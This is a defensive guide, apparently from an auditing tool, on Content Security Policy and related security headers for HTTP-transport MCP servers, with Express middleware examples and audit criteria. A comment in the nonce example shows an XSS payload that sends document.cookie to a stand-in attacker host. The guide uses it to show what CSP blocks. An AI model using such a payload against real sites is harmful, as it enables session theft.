Topic: mcp server csp headers
MCP server CSP headers — Content Security Policy for HTTP-transport servers
CSP applies to the browser rendering HTTP responses. stdio-transport MCP servers communicate over stdin/stdout with no browser involvement, so CSP is irrelevant for them. But any HTTP-transport MCP server that serves a web interface — a dashboard, a configuration UI, an OAuth callback page, or even a health endpoint with HTML output — needs a Content Security Policy. CSP is the last line of defense when input sanitization fails: it prevents the browser from executing injected scripts even if tainted data reaches the HTML output.
Why CSP matters even when you sanitize input
MCP servers that process user-supplied data — file contents, repo metadata, issue body text, chat history summaries — and then render that data in an HTML UI are the XSS target. The sanitization library (DOMPurify, xss, sanitize-html) is the first line of defense: it removes injected <script> tags and event handler attributes. CSP is the second line: it tells the browser to refuse to execute inline scripts even if a sanitization bypass let them through.
Known sanitization bypasses are discovered regularly (mXSS, mutation-based attacks, nested protocol handlers). A strict CSP makes those bypasses non-exploitable because the browser refuses to execute the injected script regardless of how the injection survived sanitization. The cost of adding CSP is the time to implement the nonce pattern below. The benefit is that every future sanitization bypass in your deps is neutralized without a code change.
Pattern 1 — strict nonce-based CSP (recommended)
The strictest and most effective CSP uses a per-request cryptographic nonce on every script tag. Only scripts with the correct nonce execute; all inline scripts without it are blocked.
import { randomBytes } from 'crypto';
function generateNonce() {
return randomBytes(16).toString('base64');
}
// Express middleware — generates a fresh nonce per request
app.use((req, res, next) => {
res.locals.nonce = generateNonce();
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'nonce-${res.locals.nonce}'`, // only nonce-bearing scripts
`style-src 'self' 'unsafe-inline'`, // inline styles: acceptable tradeoff
`img-src 'self' data:`,
`font-src 'self'`,
`connect-src 'self'`,
`frame-ancestors 'none'`, // prevents clickjacking
`form-action 'self'`,
`base-uri 'self'`
].join('; '));
next();
});
// In your template (EJS example):
// <script nonce="<%= nonce %>">
// // your inline script here — runs because it has the nonce
// </script>
//
// Injected script (no nonce — blocked by CSP even if sanitization failed):
// <script>document.location='https://evil.example.com/?c='+document.cookie</script>
Critical: the nonce must be different on every request. A static nonce defeats the whole mechanism — an attacker who can read any server response gets the nonce and can use it in an injected script. Use crypto.randomBytes(), not Math.random() (Math.random is not cryptographically secure).
Pattern 2 — allowlist-based CSP for simpler servers
If your server only loads scripts from known CDNs or bundled files, an allowlist CSP is simpler to implement than the nonce pattern. It is less strict (does not block inline scripts by default unless you also add 'unsafe-inline' negation), but it prevents the most common injection patterns.
// Allowlist CSP — suitable when all scripts load from known origins
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self'`, // no external scripts
`style-src 'self'`,
`img-src 'self' data: https://github.com`, // GitHub avatar images
`connect-src 'self' https://api.github.com`, // only the expected API
`frame-ancestors 'none'`,
`form-action 'self'`,
`upgrade-insecure-requests` // force HTTPS for any subresource
].join('; '));
// If you need a CDN (e.g., loading chart.js from a CDN):
// Add the specific CDN origin, not a wildcard:
// script-src 'self' https://cdn.jsdelivr.net/npm/chart.js@4.4.0/
// A wildcard like https://cdn.jsdelivr.net/ allows any script from that CDN.
Pattern 3 — reporting-only mode for staged rollout
Before switching a live server to enforcing CSP, use Content-Security-Policy-Report-Only to see what would be blocked without actually blocking anything. Reports are sent to a configured endpoint.
// Report-only mode: browser reports violations but does not enforce
res.setHeader('Content-Security-Policy-Report-Only', [
`default-src 'self'`,
`script-src 'nonce-${nonce}'`,
`style-src 'self'`,
`frame-ancestors 'none'`,
`report-uri /csp-report` // your violation collection endpoint
].join('; '));
// Violation collection endpoint:
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const violation = req.body['csp-report'];
console.error('[CSP violation]', JSON.stringify({
blockedUri: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
originalPolicy: violation['original-policy'],
documentUri: violation['document-uri'],
}));
res.status(204).end();
});
Run in report-only mode for a week while testing. If you see legitimate script sources being blocked, add them to the allowlist or ensure they carry a nonce. When the violation log is clean, switch from Content-Security-Policy-Report-Only to Content-Security-Policy to enforce.
Companion security headers for HTTP-transport MCP servers
CSP is the most impactful security header for XSS prevention, but it works alongside several others that HTTP-transport MCP servers should always set:
app.use((req, res, next) => {
// Prevent MIME-type sniffing (browser won't treat JSON as HTML):
res.setHeader('X-Content-Type-Options', 'nosniff');
// Prevent framing (clickjacking):
res.setHeader('X-Frame-Options', 'DENY');
// (frame-ancestors 'none' in CSP is more specific, but X-Frame-Options
// is still needed for older browsers)
// Prevent browsers leaking the referrer to external URLs:
res.setHeader('Referrer-Policy', 'no-referrer');
// HSTS — if server is always accessed over HTTPS:
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
// Permissions policy — disable features the server doesn't need:
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
next();
});
What SkillAudit checks for CSP
For HTTP-transport MCP servers with web UI routes, the security axis checks for the presence of a Content-Security-Policy header on HTML responses. Specifically:
- Missing CSP entirely — HIGH if the server renders HTML without any CSP header
- Unsafe-inline in script-src — WARN; negates the XSS protection of the CSP
- Wildcard in script-src — HIGH; equivalent to no CSP for script loading
- Missing frame-ancestors — WARN; allows clickjacking framing
stdio-transport servers with no HTTP routes receive PASS for this check automatically — CSP does not apply to their transport.
See also
- MCP server CORS security — the CORS misconfiguration that exposes localhost HTTP-transport servers to any web page the user visits
- MCP server OWASP Top 10 — full threat model including XSS vectors in server-rendered output
- Public audit board — security axis scores for HTTP-transport servers in the corpus